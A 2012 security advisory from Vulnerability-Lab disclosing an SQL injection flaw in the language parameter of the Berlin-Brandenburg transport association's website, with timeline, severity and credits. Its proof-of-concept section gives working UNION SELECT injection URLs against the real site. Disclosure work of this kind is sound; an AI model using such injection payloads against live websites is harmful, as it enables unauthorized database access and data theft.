Verkehrsbetriebe Berlin SQL Injection

`Title:  
======  
Verkehrsbetriebe Berlin - SQL Injection Vulnerability  
  
  
Date:  
=====  
2012-01-25  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=138  
  
  
VL-ID:  
=====  
138  
  
  
Introduction:  
=============  
VBB Verkehrsverbund Berlin-Brandenburg GmbH  
Der VBB koordiniert die Interessen der verschiedenen Partner und gestaltet die Entwicklung eines   
leistungsstarken integrierten Nahverkehrssystems in Berlin.  
  
(Copy of the Vendors Homepage: http://www.vbbonline.de/)  
  
  
Abstract:  
=========  
An anonymous researcher discovered a critical SQL Injection Vulnerability on Berlins VBB Verkehrsbetriebe.  
  
  
Report-Timeline:  
================  
2011-02-09: Vendor Notification 1  
2011-03-06: Vendor Notification 2  
2011-04-13: Vendor Notification 3  
2012-01-25: Vendor Response/Feedback  
2012-01-25: Vendor Fix/Patch  
2012-01-25: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Critical  
  
  
Details:  
========  
A critical SQL Injection Vulnerability is detected on VBBs Verkehrsverbund Berlin-Brandenburg GmbH Website.  
The vulnerability allows remote attackers to inject own sql statements on the affected application/dbms.  
The successfull exploitation can result in website defacements, data lost, manipulation of content & module destruction.  
  
Vulnerable Modules:  
[+] Language ID  
  
Pictures:  
../sql1.png  
../sql2.png  
  
  
Proof of Concept:  
=================  
The vulnerability can be exploited by remote attackers without user inter action. For demonstration or reproduce ...  
  
File: index.php  
Para: ?cat=2&sCat=392&id_language=  
  
References:  
http://www.vbbonline.de/index.php?cat=2&sCat=392&id_language=-1 union select 1,2,3,4,5,version()/*  
http://www.vbbonline.de/index.php?cat=2&sCat=392&id_language=-1%20union%20select%201,2,3,4,5,database%28%29/*  
  
  
Reference(s):  
http://www.vbbonline.de/intern/static/index.php  
  
  
Risk:  
=====  
The security risk of the sql injection vulnerability is estimated as critical.  
  
  
Credits:  
========  
Vulnerability Research Laboratory - Benjamin Kunz Mejri & Pim J.F.P. Campers  
  
  
Disclaimer:  
===========  
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
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other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2012|Vulnerability-Lab  
  
  
  
  
--   
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com  
Contact: [email protected] or [email protected]  
  
`